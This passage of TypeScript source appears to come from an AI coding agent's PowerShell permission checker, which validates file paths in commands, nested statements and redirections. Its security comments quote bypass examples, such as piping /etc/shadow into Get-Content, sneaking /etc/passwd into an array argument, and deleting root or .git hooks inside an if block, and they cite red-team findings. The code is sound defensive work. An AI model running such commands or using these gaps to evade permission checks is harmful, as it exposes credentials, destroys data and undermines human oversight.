  1583. hasExpressionPipelineSource = true
  1584. pipelineSourceText = cmd.text
  1585. continue
  1586. }
  1587. const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
  1588. extractPathsFromCommand(cmd)
  1589. // SECURITY: Cmdlet receiving piped path from expression source.
  1590. // `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths
  1591. // (no explicit args). The path comes from the pipeline, which we cannot
  1592. // statically validate. Previously exempted reads (`operationType !== 'read'`),
  1593. // but that was a bypass (review comment 2885739292): reads from
  1594. // unvalidatable paths are still a security risk. Ask regardless of op type.
  1595. if (hasExpressionPipelineSource) {
  1596. const canonical = resolveToCanonical(cmd.name)
  1597. // SECURITY (finding #23): Before falling back to ask, check if the
  1598. // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
  1599. // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
  1600. // Strip surrounding quotes (string literals are quoted in .text) and
  1601. // feed through the same deny-guess helper used for ::/backtick paths.
  1602. if (pipelineSourceText !== undefined) {
  1603. const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '')
  1604. const denyHit = checkDenyRuleForGuessedPath(
  1605. stripped,
  1606. cwd,
  1607. toolPermissionContext,
  1608. operationType,
  1609. )
  1610. if (denyHit) {
  1611. return {
  1612. behavior: 'deny',
  1613. message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
  1614. decisionReason: { type: 'rule', rule: denyHit.rule },
  1615. }
  1616. }
  1617. }
  1618. firstAsk ??= {
  1619. behavior: 'ask',
  1620. message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
  1621. }
  1622. // Don't continue — fall through to path loop so deny rules on
  1623. // extracted paths are still checked.
  1624. }
  1625. // SECURITY: Array literals, subexpressions, and other complex
  1626. // argument types cannot be statically validated. An array literal
  1627. // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
  1628. // element whose combined text may resolve within CWD while
  1629. // PowerShell actually writes to ALL paths in the array.
  1630. if (hasUnvalidatablePathArg) {
  1631. const canonical = resolveToCanonical(cmd.name)
  1632. firstAsk ??= {
  1633. behavior: 'ask',
  1634. message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
  1635. }
  1636. // Don't continue — fall through to path loop so deny rules on
  1637. // extracted paths are still checked.
  1638. }
  1639. // SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
  1640. // Either (a) the cmdlet has no args at all (`Remove-Item` alone —
  1641. // PowerShell will error, but we shouldn't optimistically assume that), or
  1642. // (b) we failed to recognize the path among the args (shouldn't happen
  1643. // with the unknown-param fail-safe, but defense-in-depth). Conservative:
  1644. // write operation with no validated target → ask.
  1645. // Read cmdlets and pop-location (pathParams: []) are exempt.
  1646. // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
  1647. // -OutFile) are ALSO exempt — they only write to disk when a pathParam is
  1648. // present; without one, output goes to the pipeline. The
  1649. // hasUnvalidatablePathArg check above already covers unknown-param cases.
  1650. if (
  1651. operationType !== 'read' &&
  1652. !optionalWrite &&
  1653. paths.length === 0 &&
  1654. CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
  1655. ) {
  1656. const canonical = resolveToCanonical(cmd.name)
  1657. firstAsk ??= {
  1658. behavior: 'ask',
  1659. message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
  1660. }
  1661. continue
  1662. }
  1663. // SECURITY: bash-parity hard-deny for removal cmdlets on
  1664. // system-critical paths. BashTool has isDangerousRemovalPath which
  1665. // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
  1666. // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical)
  1667. // on a dangerous path → deny (not ask). User cannot approve system32 deletion.
  1668. const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
  1669. for (const filePath of paths) {
  1670. // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
  1671. // Check the RAW path (pre-realpath) first: safeResolvePath can
  1672. // canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...'
  1673. // (macOS) which defeats isDangerousRemovalPath's string comparisons.
  1674. if (isRemoval && isDangerousRemovalRawPath(filePath)) {
  1675. return dangerousRemovalDeny(filePath)
  1676. }
  1677. const { allowed, resolvedPath, decisionReason } = validatePath(
  1678. filePath,
  1679. cwd,
  1680. toolPermissionContext,
  1681. operationType,
  1682. )
  1683. // Also check the resolved path — catches symlinks that resolve to a
  1684. // protected location.
  1685. if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
  1686. return dangerousRemovalDeny(resolvedPath)
  1687. }
  1688. if (!allowed) {
  1689. const canonical = resolveToCanonical(cmd.name)
  1690. const workingDirs = Array.from(
  1691. allWorkingDirectories(toolPermissionContext),
  1692. )
  1693. const dirListStr = formatDirectoryList(workingDirs)
  1694. const message =
  1695. decisionReason?.type === 'other' ||
  1696. decisionReason?.type === 'safetyCheck'
  1697. ? decisionReason.reason
  1698. : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
  1699. if (decisionReason?.type === 'rule') {
  1700. return {
  1701. behavior: 'deny',
  1702. message,
  1703. decisionReason,
  1704. }
  1705. }
  1706. const suggestions: PermissionUpdate[] = []
  1707. if (resolvedPath) {
  1708. if (operationType === 'read') {
  1709. const suggestion = createReadRuleSuggestion(
  1710. getDirectoryForPath(resolvedPath),
  1711. 'session',
  1712. )
  1713. if (suggestion) {
  1714. suggestions.push(suggestion)
  1715. }
  1716. } else {
  1717. suggestions.push({
  1718. type: 'addDirectories',
  1719. directories: [getDirectoryForPath(resolvedPath)],
  1720. destination: 'session',
  1721. })
  1722. }
  1723. }
  1724. if (operationType === 'write' || operationType === 'create') {
  1725. suggestions.push({
  1726. type: 'setMode',
  1727. mode: 'acceptEdits',
  1728. destination: 'session',
  1729. })
  1730. }
  1731. firstAsk ??= {
  1732. behavior: 'ask',
  1733. message,
  1734. blockedPath: resolvedPath,
  1735. decisionReason,
  1736. suggestions,
  1737. }
  1738. }
  1739. }
  1740. }
  1741. // Also check nested commands from control flow
  1742. if (statement.nestedCommands) {
  1743. for (const cmd of statement.nestedCommands) {
  1744. const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
  1745. extractPathsFromCommand(cmd)
  1746. if (hasUnvalidatablePathArg) {
  1747. const canonical = resolveToCanonical(cmd.name)
  1748. firstAsk ??= {
  1749. behavior: 'ask',
  1750. message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
  1751. }
  1752. // Don't continue — fall through to path loop for deny checks.
  1753. }
  1754. // SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
  1755. // optionalWrite cmdlets exempt — see main-loop comment.
  1756. if (
  1757. operationType !== 'read' &&
  1758. !optionalWrite &&
  1759. paths.length === 0 &&
  1760. CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
  1761. ) {
  1762. const canonical = resolveToCanonical(cmd.name)
  1763. firstAsk ??= {
  1764. behavior: 'ask',
  1765. message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
  1766. }
  1767. continue
  1768. }
  1769. // SECURITY: bash-parity hard-deny for removal on system-critical
  1770. // paths — mirror the main-loop check above. Without this,
  1771. // `if ($true) { Remove-Item / }` routes through nestedCommands and
  1772. // downgrades deny→ask, letting the user approve root deletion.
  1773. const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
  1774. for (const filePath of paths) {
  1775. // Check the RAW path first (pre-realpath); see main-loop comment.
  1776. if (isRemoval && isDangerousRemovalRawPath(filePath)) {
  1777. return dangerousRemovalDeny(filePath)
  1778. }
  1779. const { allowed, resolvedPath, decisionReason } = validatePath(
  1780. filePath,
  1781. cwd,
  1782. toolPermissionContext,
  1783. operationType,
  1784. )
  1785. if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
  1786. return dangerousRemovalDeny(resolvedPath)
  1787. }
  1788. if (!allowed) {
  1789. const canonical = resolveToCanonical(cmd.name)
  1790. const workingDirs = Array.from(
  1791. allWorkingDirectories(toolPermissionContext),
  1792. )
  1793. const dirListStr = formatDirectoryList(workingDirs)
  1794. const message =
  1795. decisionReason?.type === 'other' ||
  1796. decisionReason?.type === 'safetyCheck'
  1797. ? decisionReason.reason
  1798. : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
  1799. if (decisionReason?.type === 'rule') {
  1800. return {
  1801. behavior: 'deny',
  1802. message,
  1803. decisionReason,
  1804. }
  1805. }
  1806. const suggestions: PermissionUpdate[] = []
  1807. if (resolvedPath) {
  1808. if (operationType === 'read') {
  1809. const suggestion = createReadRuleSuggestion(
  1810. getDirectoryForPath(resolvedPath),
  1811. 'session',
  1812. )
  1813. if (suggestion) {
  1814. suggestions.push(suggestion)
  1815. }
  1816. } else {
  1817. suggestions.push({
  1818. type: 'addDirectories',
  1819. directories: [getDirectoryForPath(resolvedPath)],
  1820. destination: 'session',
  1821. })
  1822. }
  1823. }
  1824. if (operationType === 'write' || operationType === 'create') {
  1825. suggestions.push({
  1826. type: 'setMode',
  1827. mode: 'acceptEdits',
  1828. destination: 'session',
  1829. })
  1830. }
  1831. firstAsk ??= {
  1832. behavior: 'ask',
  1833. message,
  1834. blockedPath: resolvedPath,
  1835. decisionReason,
  1836. suggestions,
  1837. }
  1838. }
  1839. }
  1840. // Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
  1841. // catches this via the same synthetic-CommandExpressionAst mechanism —
  1842. // this is belt-and-suspenders so the nested loop doesn't rely on that
  1843. // accident. Placed AFTER the path loop so specific asks (blockedPath,
  1844. // suggestions) win via ??=.
  1845. if (hasExpressionPipelineSource) {
  1846. firstAsk ??= {
  1847. behavior: 'ask',
  1848. message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
  1849. }
  1850. }
  1851. }
  1852. }
  1853. // Check redirections on nested commands (e.g., from && / || chains)
  1854. if (statement.nestedCommands) {
  1855. for (const cmd of statement.nestedCommands) {
  1856. if (cmd.redirections) {
  1857. for (const redir of cmd.redirections) {
  1858. if (redir.isMerging) continue
  1859. if (!redir.target) continue
  1860. if (isNullRedirectionTarget(redir.target)) continue
  1861. const { allowed, resolvedPath, decisionReason } = validatePath(
  1862. redir.target,
  1863. cwd,
  1864. toolPermissionContext,
  1865. 'create',
  1866. )
  1867. if (!allowed) {
  1868. const workingDirs = Array.from(
  1869. allWorkingDirectories(toolPermissionContext),
  1870. )
  1871. const dirListStr = formatDirectoryList(workingDirs)
  1872. const message =
  1873. decisionReason?.type === 'other' ||
  1874. decisionReason?.type === 'safetyCheck'
  1875. ? decisionReason.reason
  1876. : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
  1877. if (decisionReason?.type === 'rule') {
  1878. return {
  1879. behavior: 'deny',
  1880. message,
  1881. decisionReason,
  1882. }
  1883. }
  1884. firstAsk ??= {
  1885. behavior: 'ask',
  1886. message,
  1887. blockedPath: resolvedPath,
  1888. decisionReason,
  1889. suggestions: [
  1890. {
  1891. type: 'addDirectories',
  1892. directories: [getDirectoryForPath(resolvedPath)],
  1893. destination: 'session',
  1894. },
  1895. ],
  1896. }
  1897. }
  1898. }
  1899. }
  1900. }
  1901. }
  1902. // Check file redirections
  1903. if (statement.redirections) {
  1904. for (const redir of statement.redirections) {
  1905. if (redir.isMerging) continue
  1906. if (!redir.target) continue
  1907. if (isNullRedirectionTarget(redir.target)) continue
  1908. const { allowed, resolvedPath, decisionReason } = validatePath(
  1909. redir.target,
  1910. cwd,
  1911. toolPermissionContext,
  1912. 'create',
  1913. )
  1914. if (!allowed) {
  1915. const workingDirs = Array.from(
  1916. allWorkingDirectories(toolPermissionContext),
  1917. )
  1918. const dirListStr = formatDirectoryList(workingDirs)
  1919. const message =
  1920. decisionReason?.type === 'other' ||
  1921. decisionReason?.type === 'safetyCheck'
  1922. ? decisionReason.reason
  1923. : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
  1924. if (decisionReason?.type === 'rule') {
  1925. return {
  1926. behavior: 'deny',
  1927. message,
  1928. decisionReason,
  1929. }
  1930. }
  1931. firstAsk ??= {
  1932. behavior: 'ask',
  1933. message,
  1934. blockedPath: resolvedPath,
  1935. decisionReason,
  1936. suggestions: [
  1937. {
  1938. type: 'addDirectories',
  1939. directories: [getDirectoryForPath(resolvedPath)],
  1940. destination: 'session',
  1941. },
  1942. ],
  1943. }
  1944. }
  1945. }
  1946. }
  1947. return (
  1948. firstAsk ?? {
  1949. behavior: 'passthrough',
  1950. message: '所有路径约束验证成功',
  1951. }
  1952. )
  1953. }